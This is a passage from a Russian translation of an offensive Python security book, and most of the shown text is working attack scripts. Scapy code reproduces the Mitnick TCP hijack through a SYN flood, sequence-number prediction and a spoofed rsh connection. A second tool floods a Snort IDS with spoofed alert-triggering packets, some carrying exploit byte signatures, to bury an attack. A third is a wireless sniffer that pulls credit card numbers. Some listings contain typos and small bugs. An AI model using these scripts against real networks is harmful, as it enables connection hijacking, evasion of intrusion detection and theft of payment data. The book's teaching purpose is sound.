Чтобы повторить это в Python, мы создадим и отправим два пакета. Сначала создаём пакет SYN с портом источника TCP 513 и пунктом назначения 514 с IP-адресом источника подделанного сервера и IP-адресом назначения в качестве цели. Затем создаём аналогичный пакет подтверждения, добавляем вычисленный порядковый номер в качестве дополнительного поля, и отправляем его.

```
from scapy.all import *
def spoofConn(src, tgt, ack):
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514)
    synPkt = IPlayer / TCPlayer
    send(synPkt)
    IPlayer = IP(src=src, dst=tgt)
```



```

    TCPlayer = TCP(sport=513, dport=514, ack=ack)
    ackPkt = IPlayer / TCPlayer
    send(ackPkt)
src = "10.1.1.2"
tgt = "192.168.1.106"
seqNum = 2024371201
spooftConn(src,tgt,seqNum)

```

Собрав воедино всю кодовую базу, мы добавим синтаксический анализ параметров, чтобы добавлять параметры командной строки поддельному адресу для соединения, целевому серверу и поддельному адресу для начального потока SYN.

```

import optparse
from scapy.all import *
def synFlood(src, tgt):
    for sport in range(1024,65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)
def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0
    for x in range(1, 5):
        if preNum != 0:
            preNum = seqNum
            pkt = IP(dst=tgt) / TCP()
            ans = sr1(pkt, verbose=0)
            seqNum = ans.getlayer(TCP).seq
            diffSeq = seqNum - preNum
            print '[+] TCP Seq Difference: ' + str(diffSeq)
    return seqNum + diffSeq
def spoofConn(src, tgt, ack):
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514)
    synPkt = IPlayer / TCPlayer
    send(synPkt)
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514, ack=ack)
    ackPkt = IPlayer / TCPlayer
    send(ackPkt)
def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-s<src for SYN Flood> -S <src for spoofed connection> '+\
        '-t<target address>')
    parser.add_option('-s', dest='synSpoof', type='string',\
        help='specific src for SYN Flood')

```

```

parser.add_option('-S', dest='srcSpoof', type='string',\
    help='specify src for spoofed connection')
parser.add_option('-t', dest='tgt', type='string',\
    help='specify target address')
(options, args) = parser.parse_args()
if options.synSpoof == None or options.srcSpoof == None \
    or options.tgt == None:
    print parser.usage
    exit(0)
else:
    synSpoof = options.synSpoof
    srcSpoof = options.srcSpoof
    tgt = options.tgt
print '[+] Starting SYN Flood to suppress remote server.'
synFlood(synSpoof, srcSpoof)
print '[+] Calculating correct TCP Sequence Number.'
seqNum = calTSN(tgt) + 1
print '[+] Spoofing Connection.'
spoofConn(srcSpoof, tgt, seqNum)
print '[+] Done.'
if __name__ == '__main__':
    main()

```

Запустив наш последний скрипт, мы успешно повторили атаку Митника почти двадцатилетней давности. То, что раньше считалось одной из самых сложных атак в истории, теперь может быть воспроизведено ровно с 65 строками кода Python. Уже обладая сильными навыками анализа, давайте в следующем разделе опишем метод усложнения анализа сетевых атак, в частности, для систем обнаружения вторжений.

```

mitnick# python tcpHijack.py -s 10.1.1.2 -S 192.168.1.2 -t
192.168.1.106
[+] Starting SYN Flood to suppress remote server.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
<..ПРОПУЩЕНО..>
[+] Calculating correct TCP Sequence Number.
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] Spoofing Connection.
.
Sent 1 packets.

```

```
.  
Sent 1 packets.  
[+] Done.
```

## Системы обнаружения FOILING INTRUSION с ПОМОЩЬЮ Scapy

Система обнаружения вторжений (IDS) является крайне ценным инструментом в руках компетентного аналитика. Сетевая система обнаружения вторжений (NIDS) может анализировать трафик в режиме реального времени, регистрируя пакеты в IP-сетях. Сопоставляя пакеты с известным набором вредоносных сигнатур, IDS может предупредить аналитика сети об атаке в самом её начале. Например, система **SNORT IDS** поставляется в комплекте с множеством различных правил, способных обнаруживать различные типы разведки, эксплойтов и DDoS-атак среди множества других векторов атаки. Изучая содержимое одной из этих конфигураций правил, мы видим четыре оповещения для обнаружения распределённых инструментариев для DDoS-атак типа **TFN**, **tfn2k** и **Trin00**. Когда злоумышленник использует **TFN**, **tfn2k** или **Trin00** против цели, IDS обнаруживает атаку и предупреждает аналитика. Однако что происходит, если аналитики получают больше предупреждений, чем они могут разумно соотнести с каким-то событием? Зачастую это их «перегружает», и они могут пропустить важные детали атаки.

```
victim# cat /etc/snort/rules/ddos.rules  
<...ПРОПУЩЕНО...>  
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe";  
  icmp_id:678; itype:8; content:"1234"; reference:arachnids,443;  
  classtype:attempted-recon; sid:221; rev:4;)  
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp  
  possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA";  
  reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)  
alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00  
  Daemon to Master PONG message detected"; content:"PONG";  
  reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)  
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS  
  TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;  
  reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)  
<...ПРОПУЩЕНО...>
```

Чтобы скрыть атаку от аналитика, мы напишем инструмент, генерирующий шокирующее количество предупреждений, с которыми аналитик должен иметь дело. Кроме того, аналитик может использовать этот инструмент для проверки того, что IDS может правильно идентифицировать вредоносный трафик. Написание скрипта не составит труда, так как у нас уже есть правила, которые генерируют оповещения. Для этого мы снова воспользуемся **Scapy**

для создания пакетов. Рассмотрим первое правило для DDOS TFN Probe: здесь мы должны сгенерировать ICMP-пакет с ICMP-идентификатором 678 и ICMP TYPE 8, в котором находится необработанное содержимое «1234» в пакете. С помощью Scapy мы создаём пакет с этими переменными и отправляем его по нашему адресу назначения. Кроме того, мы создаём пакеты для наших трёх других правил.

```
from scapy.all import *
def ddosTest(src, dst, iface, count):
    pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')
    send(pkt, iface=iface, count=count)
    pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')
    send(pkt, iface=iface, count=count)
    pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')
    send(pkt, iface=iface, count=count)
    pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)
    send(pkt, iface=iface, count=count)
src="1.3.3.7"
dst="192.168.1.106"
iface="eth0"
count=1
ddosTest(src,dst,iface,count)
```

Запустив скрипт, мы видим, что четыре пакета были отправлены по нашему адресу назначения. IDS анализирует эти пакеты и генерирует оповещения, если они должным образом соответствуют сигнатурам.

```
attacker# python idsFoil.py
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

Изучая журнал предупреждений для **SNORT**, мы видим, что нам это удалось! Все четыре пакета генерируют оповещения для системы обнаружения вторжений.

```
victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf
03/14-07:32:52.034213 [**] [1:221:4] DDOS TFN Probe [**]
[Classification: Attempted Information Leak] [Priority: 2] {ICMP}
1.3.3.7 -> 192.168.1.106
03/14-07:32:52.037921 [**] [1:222:2] DDOS tfn2k icmp possible
communication [**] [Classification: Attempted Denial of Service]
[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-07:32:52.042364 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG
```

```
message detected [**] [Classification: Attempted Information Leak]
[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335
03/14-07:32:52.044445 [**] [1:228:3] DDOS TFN client command BE [**]
[Classification: Attempted Denial of Service] [Priority: 2] {ICMP}
1.3.3.7 -> 192.168.1.106
```

Давайте взглянем на некоторые чуть более сложные правила в файле подписи **exploit.rules** для SNORT. Здесь последовательность определённых байтов будет генерировать оповещения о переполнении Linux ntalkd x86 и переполнении mountd Linux.

```
alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:"EXPLOIT ntalkd x86
Linux overflow"; content:"|01 03 00 00 00 00 00 01 00 02 E8|";
reference:bugtraq,210; classtype:attempted-admin; sid:313;
rev:4;)
alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux
mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F";
reference:bugtraq,121; reference:cve,1999-0002; classtype
:attempted-admin; sid:315; rev:6;)
```

Для генерации пакетов, содержащих необработанные байты, мы применим обозначение **\x**, за которым следует шестнадцатеричное кодирование байта. При первом предупреждении генерируется пакет, который отключит сигнатуру для эксплойта переполнения Linux ntalkd. Во втором пакете мы будем использовать комбинацию необработанных байтов, закодированных как шестнадцатеричные, плюс стандартные символы ASCII. Обратите внимание, что **89|F|** кодируется как **\x89F**, чтобы указать, что он содержит необработанные байты плюс символ ASCII. Следующие пакеты будут генерировать оповещения о попытках эксплойта.

```
def exploitTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=518) \
    /Raw(load="\x01\x03\x00\x00\x00\x00\x01\x00\x02\xE8")
    send(pkt, iface=iface, count=count)
    pkt = IP(src=src, dst=dst) / UDP(dport=635) \
    /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")
    send(pkt, iface=iface, count=count)
```

Наконец, было бы неплохо подделать какую-нибудь разведку или сканирования. Мы проверим правила сканирований SNORT для сканов и увидим два правила, для которых мы можем создавать пакеты. Оба правила обнаруживают вредоносное поведение по протоколу UDP на определённых портах с определённым необработанным содержимым. Пакеты для этой цели создать легко.

```
alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:"SCAN cybercop udp
bomb"; content:"cybercop"; reference:arachnids,363; classtype:badunknown;
```

```
sid:636; rev:1;)
alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081 (msg:"SCAN Amanda
client version request"; content:"Amanda"; nocase; classtype:attemptedrecon;
sid:634; rev:2;)
```

Мы генерируем два пакета для правил сканирования на киберкоп и инструменты разведки Amanda. Сгенерировав пакеты с правильными портами назначения UDP и содержимым, мы отправляем их к цели.

```
def scanTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=7) \
    /Raw(load='cybercop')
    send(pkt)
    pkt = IP(src=src, dst=dst) / UDP(dport=10080) \
    /Raw(load='Amanda')
    send(pkt, iface=iface, count=count)
```

Теперь, когда у нас есть пакеты для генерации предупреждений о DDoS-атаках, эксплойтах и разведке, мы снова собираем наш скрипт и добавляем некоторые параметры синтаксического анализа. Обратите внимание, что пользователь должен ввести целевой адрес, иначе программа закроется: если пользователь не сможет ввести адрес источника, мы сгенерируем случайный адрес источника. Если пользователь не указывает, сколько раз отправлять созданные пакеты, мы отправим их только один раз. Скрипт по умолчанию использует адаптер eth0, если не указано иное. Хотя мы и были здесь намеренно лаконичны, вы можете продолжить добавлять что-то своё в этот скрипт для генерации и тестирования предупреждений обо всех типах атак.

```
import optparse
from scapy.all import *
from random import randint
def ddosTest(src, dst, iface, count):
    pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')
    send(pkt, iface=iface, count=count)
    pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAA')
    send(pkt, iface=iface, count=count)
    pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')
    send(pkt, iface=iface, count=count)
    pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)
    send(pkt, iface=iface, count=count)
def exploitTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=518) \
    /Raw(load="\x01\x03\x00\x00\x00\x00\x01\x00\x02\x02\xE8")
    send(pkt, iface=iface, count=count)
    pkt = IP(src=src, dst=dst) / UDP(dport=635) \
    /Raw(load="\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")
```

```

    send(pkt, iface=iface, count=count)
def scanTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=7) \
        / Raw(load='cybercop')
    send(pkt)
    pkt = IP(src=src, dst=dst) / UDP(dport=10080) \
        / Raw(load='Amanda')
    send(pkt, iface=iface, count=count)
def main():
    parser = optparse.OptionParser('usage%prog '+'\
        '-i <iface> -s <src> -t <target> -c <count>'
    )
    parser.add_option('-i', dest='iface', type='string',\
        help='specify network interface')
    parser.add_option('-s', dest='src', type='string',\
        help='specify source address')
    parser.add_option('-t', dest='tgt', type='string',\
        help='specify target address')
    parser.add_option('-c', dest='count', type='int',\
        help='specify packet count')
    (options, args) = parser.parse_args()
    if options.iface == None:
        iface = 'eth0'
    else:
        iface = options.iface
    if options.src == None:
        src = '.'.join([str(randint(1,254)) for x in range(4)])
    else:
        src = options.src
    if options.tgt == None:
        print parser.usage
        exit(0)
    else:
        dst = options.tgt
    if options.count == None:
        count = 1
    else:
        count = options.count
    ddosTest(src, dst, iface, count)
    exploitTest(src, dst, iface, count)
    scanTest(src, dst, iface, count)
if __name__ == '__main__':
    main()

```

Выполняя наш последний скрипт, мы видим, что он корректно отправляет восемь пакетов на целевой адрес и подменяет адрес источника как 1.3.3.7. В целях тестирования убедитесь, что цель отличается от атакующей машины.

```
attacker# python idsFoil.py -i eth0 -s 1.3.3.7 -t 192.168.1.106 -c 1
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

Анализируя журналы из IDS, мы видим, что он быстро заполняется восемью предупреждающими сообщениями. Отлично! Наш инструментарий работает, чем мы и завершаем эту главу.

```
victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf
03/14-11:45:01.060632 [**] [1:222:2] DDOS tfn2k icmp possible
  communication [**] [Classification: Attempted Denial of Service]
  [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-11:45:01.066621 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG
  message detected [**] [Classification: Attempted Information Leak]
  [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335
03/14-11:45:01.069044 [**] [1:228:3] DDOS TFN client command BE [**]
  [Classification: Attempted Denial of Service] [Priority: 2] {ICMP}
  1.3.3.7 -> 192.168.1.106
03/14-11:45:01.071205 [**] [1:313:4] EXPLOIT ntlkd x86 Linux overflow
  [**] [Classification: Attempted Administrator Privilege Gain]
  [Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518
03/14-11:45:01.076879 [**] [1:315:6] EXPLOIT x86 Linux mountd overflow
  [**] [Classification: Attempted Administrator Privilege Gain]
  [Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635
03/14-11:45:01.079864 [**] [1:636:1] SCAN cybercop udp bomb [**]
  [Classification: Potentially Bad Traffic] [Priority: 2] {UDP}
  1.3.3.7:53 -> 192.168.1.106:7
03/14-11:45:01.082434 [**] [1:634:2] SCAN Amanda client version request
  [**] [Classification: Attempted Information Leak] [Priority: 2]
  {UDP} 1.3.3.7:53 -> 192.168.1.106:10080
```



## Итоги главы

Поздравляем! В этой главе мы написали много инструментов для анализа сетевого трафика. Мы начали с написания элементарного инструмента, способного обнаруживать атаки наподобие операции «Аврора». Далее мы написали несколько скриптов для обнаружения инструментария хакерской группы Anonymous LOIC в действии. После этого мы воспроизвели программу, которую семнадцатилетний Эйч Ди Мур использовал для обнаружения ложных сканирований сети в Пентагоне. Затем мы создали несколько скриптов для обнаружения атак, использующих DNS в качестве вектора, включая червей Storm и Conficker. Благодаря возможности анализа трафика, мы воспроизвели атаку, которую применил Кевин Митник два десятка лет назад. Наконец, мы использовали наши навыки сетевого анализа для создания пакетов, чтобы перегружать IDS.

Надеемся, что эта глава дала вам отличные навыки анализа сетевого трафика. Пользу этого исследования мы ощутим в следующей главе, когда будем писать инструменты для аудита беспроводных сетей и мобильных устройств.

### Ссылки

- Binde, B., McRee, R., & O'Connor, T. (2011). Assessing outbound traffic to uncover advanced persistent threat. Retrieved from SANS Technology Institute website: [www.sans.edu/student-files/projects/JWP-Binde-McRee-OConnor.pdf](http://www.sans.edu/student-files/projects/JWP-Binde-McRee-OConnor.pdf), May 22.
- CIO Institute bulletin on computer security (1999). Retrieved February from <nmap.org/press/cio-advanced-scanners.txt>, March 8.
- Higgins, K. J. (2007). Attackers hide in fast flux. *Dark Reading*. Retrieved from <http://www.darkreading.com/security/perimeter-security/208804630/index.html>, July 17.
- Lemos, R. (2007). Fast flux foils bot-net takedown. *SecurityFocus*. Retrieved from <http://www.securityfocus.com/news/11473>, July 9.
- Markoff, J. (1995). A most-wanted cyberthief is caught in his own web. *New York Times* (online edition). Retrieved from [www.nytimes.com/1995/02/16/us/a-most-wanted-cyberthief-is-caught-in-his-own-web.html?src=pm](http://www.nytimes.com/1995/02/16/us/a-most-wanted-cyberthief-is-caught-in-his-own-web.html?src=pm), February 16.
- Nazario, J. (2008). As the net churns: Fast-flux botnet observations. *HoneyBlog*. Retrieved from <honeyblog.org/junkyard/paper/fastflux-malware08.pdf>, November 5.
- Shimomura, T. (1994). Tsutomu's January 25 post to Usenet (online forum comment). Retrieved from <http://www.takedown.com/coverage/tsu-post.html>, December 25.
- Shimomura, T. (1996). Wired 4.02: Catching Kevin. *Wired.com*. Retrieved from <http://www.wired.com/wired/archive/4.02/catching.html>, February 1.
- Verton, D. (2002). *The hacker diaries: Confessions of teenage hackers*. New York: McGraw-Hill/Osborne.
- Zetter, K. (2010). Google hack attack was ultra-sophisticated, new details show. *Wired.com*. Retrieved from <http://www.wired.com/threatlevel/2010/01/operation-aurora/>, January 14.

# Глава 5: Python и атака беспроводных устройств

## С чем мы столкнёмся в этой главе:

- Сниффинг беспроводных сетей в поисках личной информации
- Отслеживание предпочитаемых сетей и выявление скрытых беспроводных сетей
- Перехват управления беспроводными беспилотными летательными аппаратами
- Идентификация работы Firesheep
- Преследование с помощью Bluetooth
- Использование уязвимостей Bluetooth

Знания не растут подобно дереву, когда вы выкапываете яму, втыкаете туда саженец, обкладываете его грунтом и каждый день поливаете водой. Знания растут со временем, через работу и самоотверженные усилия. Никакими другими средствами их заполучить нельзя.

**Эд Паркер, старший гроссмейстер Американского Кэмпо**

## Введение: радио(не)безопасность и хакер The Iceman

5 сентября 2007 года Секретная служба США арестовала радио-хакера по имени Макс Рэй Батлер (Secret Service, 2007). Известный также как The Iceman, мистер Батлер продал через веб-сайт данные десятков тысяч счетов кредитных карт. Но как ему удалось собрать эту приватную информацию? Сниффинг (буквально – «разнюхивание») незашифрованных беспроводных интернет-соединений оказался одним из методов, которые он использовал для получения доступа к информации о кредитных картах. The Iceman под чужими именами арендовал гостиничные номера и апартаменты. Оттуда он, используя мощные антенны, перехватывал сообщения, проходящие через беспроводные точки доступа отеля и близлежащих апартаментов, собирая таким образом персональную информацию их постояльцев (Peretti, 2009). Слишком часто медиа-эксперты классифицируют этот тип атаки как «утончённый и сложный». Такое убеждение довольно легкомысленно и небезопасно,

поскольку несколько видов таких атак можно выполнить с помощью коротких скриптов языка Python. Как вы увидите в следующих разделах, мы можем «разнюхать» информацию кредитной карты менее чем 25-ю строками кода. Но прежде чем мы начнём, давайте удостоверимся, что мы правильно настроили нашу среду.

## Настройка среды для атаки на беспроводные сети

В следующих разделах мы напишем код для sniffинга беспроводного трафика и отправки необработанных фреймов 802.11. Мы задействуем сетевой адаптер Hawking Hi-Gain USB Wireless-150N с усилителем диапазона (HAWNU1) для создания и тестирования скриптов в этой главе. Драйверы по умолчанию для этой карты в Backtrack 5 позволяют пользователю как переводить её в режим мониторинга, так и передавать необработанные кадры. Кроме того, она содержит разъём для подключения внешней антенны, который даст нам возможность подключать к карте мощную антенну.

Наши скрипты требуют возможности поместить карту в следящее устройство, чтобы пассивно прослушивать весь беспроводной трафик. Режим мониторинга позволит получать необработанные беспроводные фреймы вместо фреймов Ethernet 802.11, которые вы обычно получаете в управляемом режиме. Это даст возможность видеть маяки и фреймы беспроводного управления, даже если вы не связаны с сетью.

### Тестирование беспроводного захвата с помощью Scapy

Чтобы перевести карту в режим мониторинга, мы применим набор инструментов **aircrack-ng**, написанный Томом д'Отреппом (Thomas d'Otreppe). **Iwconfig** видит наш беспроводной адаптер как **wlan0**. Затем мы запускаем команду **airmon-ng start wlan0**, чтобы запустить его в режиме мониторинга. Это создаёт новый адаптер, известный как **mon0**.

```
attacker# iwconfig wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
  Mode:Managed Access Point: Not-Associated
  Retry long limit:7 RTS thr:off Fragment thr:off
  Encryption key:off
  Power Management:on
attacker# airmon-ng start wlan0
Interface  Chipset                Driver
wlan0      Ralink RT2870/3070 r    t2800usb - [phy0]
           (monitor mode enabled on mon0)
```

Давайте проверим, можем ли мы захватывать беспроводной трафик после перевода карты в режим мониторинга. Обратите внимание, что мы настраиваем наш **conf.iface** для вновь

созданного интерфейса мониторинга, **mon0**. «Услышав» каждый пакет, скрипт запускает процесс **pktPrint()**. Этот процесс выводит сообщение, если в пакете содержится маяк 802.11, ответ зонда 802.11, пакет TCP или трафик DNS.

```
from scapy.all import *
def pktPrint(pkt):
    if pkt.haslayer(Dot11Beacon):
        print '[+] Detected 802.11 Beacon Frame'
    elif pkt.haslayer(Dot11ProbeReq):
        print '[+] Detected 802.11 Probe Request Frame'
    elif pkt.haslayer(TCP):
        print '[+] Detected a TCP Packet'
    elif pkt.haslayer(DNS):
        print '[+] Detected a DNS Packet'
conf.iface = 'mon0'
sniff(prn=pktPrint)
```

После запуска скрипта мы видим совсем немного трафика. Обратите внимание, что трафик включает в себя запросы зонда 802.11 для поиска сетей, фреймы маяка 802.11, указывающие на трафик, а также пакет DNS и TCP. Теперь мы знаем, что наша карта работает.

```
attacker# python test-sniff.py
[+] Detected 802.11 Beacon Frame
[+] Detected 802.11 Beacon Frame
[+] Detected 802.11 Beacon Frame
[+] Detected 802.11 Probe Request Frame
[+] Detected 802.11 Beacon Frame
[+] Detected 802.11 Beacon Frame
[+] Detected a DNS Packet
[+] Detected a TCP Packet
```

## Установка пакетов Python Bluetooth

Мы разберём в этой главе некоторые атаки на Bluetooth. Для написания скриптов Python Bluetooth будем использовать привязки Python к интерфейсу прикладного программирования (API) Linux Bluez и **obexftp** API. Для установки обеих привязок на Backtrack 5 используйте **apt-get**.

```
attacker# sudo apt-get install python-bluez bluetooth python-obexftp
Reading package lists... Done
Building dependency tree
Reading state information... Done
<...ПРОПУЩЕНО...>
Unpacking bluetooth (from .../bluetooth_4.60-0ubuntu8_all.deb)
Selecting previously deselected package python-bluez.
Unpacking python-bluez (from .../python-bluez_0.18-1_amd64.deb)
```

```
Setting up bluetooth (4.60-0ubuntu8) ...  
Setting up python-bluez (0.18-1) ...  
Processing triggers for python-central .
```

Кроме того, вам потребуется доступ к устройству Bluetooth. Большинство чипсетов Cambridge Silicon Radio (CSR) прекрасно работают под Linux. Для скриптов в этой главе мы будем использовать USB-адаптер SENA Parani UD100 Bluetooth. Чтобы проверить, распознаёт ли эта операционная система данное устройство, введите команду **config hciconfig**. Это действие выведет детали конфигурации для нашего устройства Bluetooth.

```
attacker# hciconfig  
hci0: Type: BR/EDR Bus: USB  
      BD Address: 00:40:12:01:01:00 ACL MTU: 8192:128  
      UP RUNNING PSCAN  
      RX bytes:801 acl:0 sco:0 events:32 errors:0  
      TX bytes:400 acl:0 sco:0 commands:32 errors:0
```

В этой главе мы будем как перехватывать, так и подделывать фреймы Bluetooth. Я вернусь к этому ещё раз в этой главе чуть позже, но важно знать, что Backtrack 5 r1 идёт с ошибкой — ему не хватает необходимых модулей ядра для отправки необработанных пакетов Bluetooth в скомпилированном ядре. По этой причине вам нужно либо обновить ядро, либо использовать Backtrack 5 r2.

Следующие разделы окажутся захватывающими. Мы будем sniffить кредитные карты, учётные данные пользователей, удалённо захватывать БПЛА, выявлять радио-хакеров, а также отслеживать и «поработать» устройства Bluetooth. Пожалуйста, всегда сверяйтесь с действующим законодательством, касающимся пассивного и активного перехвата беспроводных и Bluetooth-передач.

## Wall of Sheep — пассивная прослушка беспроводных секретов

С 2001 года команда Wall of Sheep организовала стенд на ежегодной конференции по безопасности DEFCON. Команда пассивно «слушает» пользователей, заходящих в электронную почту, на веб-сайты или другие сетевые сервисы без какой-либо защиты или шифрования. Когда команда обнаруживает какие-либо из этих учётных данных, она отображает их на большом экране с видом на конференц-зал. В последние годы команда добавила проект под названием Peekaboo, который «вырезает» также и изображения прямо из беспроводного трафика. Не злодейская по своей природе, команда отлично демонстрирует, как ту же самую информацию может заполучить злоумышленник. В

следующих разделах мы воссоздадим несколько атак, чтобы «умыкнуть» интересную информацию прямо из эфира.

## Использование регулярных выражений Python для sniffing кредитных карт

Прежде чем sniffить в беспроводной сети информацию о кредитных картах, неплохо бы нам по-быстрому пройти по регулярным выражениям. Регулярные выражения дают средство сопоставления определённых строк текста. Python предоставляет доступ к регулярным выражениям как часть библиотеки **re**. Далее следует пара конкретных регулярных выражений.

<code>'.'</code>	Находит соответствие с любым символом кроме новой строки
<code>'[ab]'</code>	Находит соответствие с любым символом <code>a</code> и <code>b</code>
<code>'[0-9]'</code>	Находит соответствие с любой цифрой от <code>0</code> до <code>9</code>
<code>'^'</code>	Находит соответствие с началом строки
<code>'*'</code>	Заставляет регулярное выражение искать соответствие <code>0</code> или более повторов предыдущего регулярного выражения
<code>'+'</code>	Заставляет регулярное выражение искать соответствие <code>1</code> или более повторов предыдущего регулярного выражения
<code>'?'</code>	Заставляет регулярное выражение искать соответствие <code>0</code> или <code>1</code> повторов предыдущего регулярного выражения
<code>{n}'</code>	Находит соответствие с <code>n</code> копий предыдущего регулярного выражения

Злоумышленник может воспользоваться регулярными выражениями для сопоставления строк по номерам кредитных карт. Для простоты нашего скрипта мы возьмём три топовые кредитные карты: Visa, MasterCard и American Express. Если вы хотите узнать больше о написании регулярных выражений для кредитных карт, посетите сайт <http://www.regularexpressions.info/creditcard.html>, где можно найти регулярные выражения для некоторых других вендоров. Кредитные карты American Express начинаются с 34 или 37, и их номер состоит из 15 цифр. Давайте напишем небольшую функцию для проверки строки с целью определить, содержится ли в ней кредитная карта American Express. Если да – то мы выведем эту информацию на экран. Обратите внимание на следующее регулярное выражение; оно гарантирует, что кредитная карта должна начинаться с цифры 3, а затем идёт цифра 4 или 7. Далее в регулярном выражении содержатся ещё 13 цифр, чтобы обеспечить общее количество цифр в номере 15.

```
import re
def findCreditCard(raw):
    americaRE= re.findall("3[47][0-9]{13}",raw)
    if americaRE:
        print "[+] Found American Express Card: "+americaRE[0]
def main():
    tests = []
```

```
tests.append('I would like to buy 1337 copies of that dvd')
tests.append('Bill my card: 378282246310005 for \($2600')
for test in tests:
    findCreditCard(test)
if __name__ == "__main__":
    main()
```

Запустив нашу тестовую программу, мы видим, что она правильно определяет второй тестовый пример и выводит номер кредитной карты.

```
attacher$ python americanExpressTest.py
[+] Found American Express Card: 378282246310005
```

Теперь рассмотрим регулярные выражения, необходимые для поиска кредитных карт MasterCard и Visa. Кредитные карты MasterCard начинаются с любого числа от 51 до 55, и их номера состоят из 16 цифр. Кредитные карты Visa начинаются с цифры 4, и их номера состоят из 13 или 16 цифр. Давайте расширим нашу функцию **findCreditCard()**, чтобы найти номера кредитных карт MasterCard и Visa. Обратите внимание, что регулярное выражение MasterCard соответствует цифре 5, за которой следует цифра в диапазоне от 1 до 5, за которой следуют 14 цифр - в общей сложности 16 цифр. Регулярное выражение Visa начинается с цифры 4, за которой следуют ещё 12 цифр. Мы будем принимать как 0, 1 или 3 цифры, чтобы у нас получилось в сумме 13 или 16 цифр.

```
def findCreditCard(pkt):
    raw = pkt.sprintf('%Raw.load%')
    americaRE = re.findall('3[47][0-9]{13}', raw)
    masterRE = re.findall('5[1-5][0-9]{14}', raw)
    visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
    if americaRE:
        print '[+] Found American Express Card: ' + americaRE[0]
    if masterRE:
        print '[+] Found MasterCard Card: ' + masterRE[0]
    if visaRE:
        print '[+] Found Visa Card: ' + visaRE[0]
```

Далее мы должны сопоставить эти регулярные выражения внутри добытых беспроводных пакетов. Пожалуйста, не забывайте использовать режим мониторинга для sniffing, так как он позволяет нам наблюдать оба вида фреймов: как предназначенные для нас в качестве конечного пункта назначения, так и не предназначенные. Для анализа пакетов, перехваченных в нашем беспроводном интерфейсе, мы будем использовать библиотеку **Scapy**. Обратите внимание на использование функции **sniff()**. **Sniff()** передаёт каждый TCP-пакет в качестве параметра функции **findCreditCard()**. Менее чем в 25 строках кода Python мы создали небольшую программу для кражи информации о кредитных картах.

```

import re
import optparse
from scapy.all import *
def findCreditCard(pkt):
    raw = pkt.sprintf('%Raw.load%')
    americaRE = re.findall('3[47][0-9]{13}', raw)
    masterRE = re.findall('5[1-5][0-9]{14}', raw)
    visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)
    if americaRE:
        print '[+] Found American Express Card: ' + americaRE[0]
    if masterRE:
        print '[+] Found MasterCard Card: ' + masterRE[0]
    if visaRE:
        print '[+] Found Visa Card: ' + visaRE[0]
def main():
    parser = optparse.OptionParser('usage % prog -i<interface>')
    parser.add_option('-i', dest='interface', type='string',\
        help='specify interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        printparser.usage
        exit(0)
    else:
        conf.iface = options.interface
    try:
        print '[*] Starting Credit Card Sniffer.'
        sniff(filter='tcp', prn=findCreditCard, store=0)
    except KeyboardInterrupt:
        exit(0)
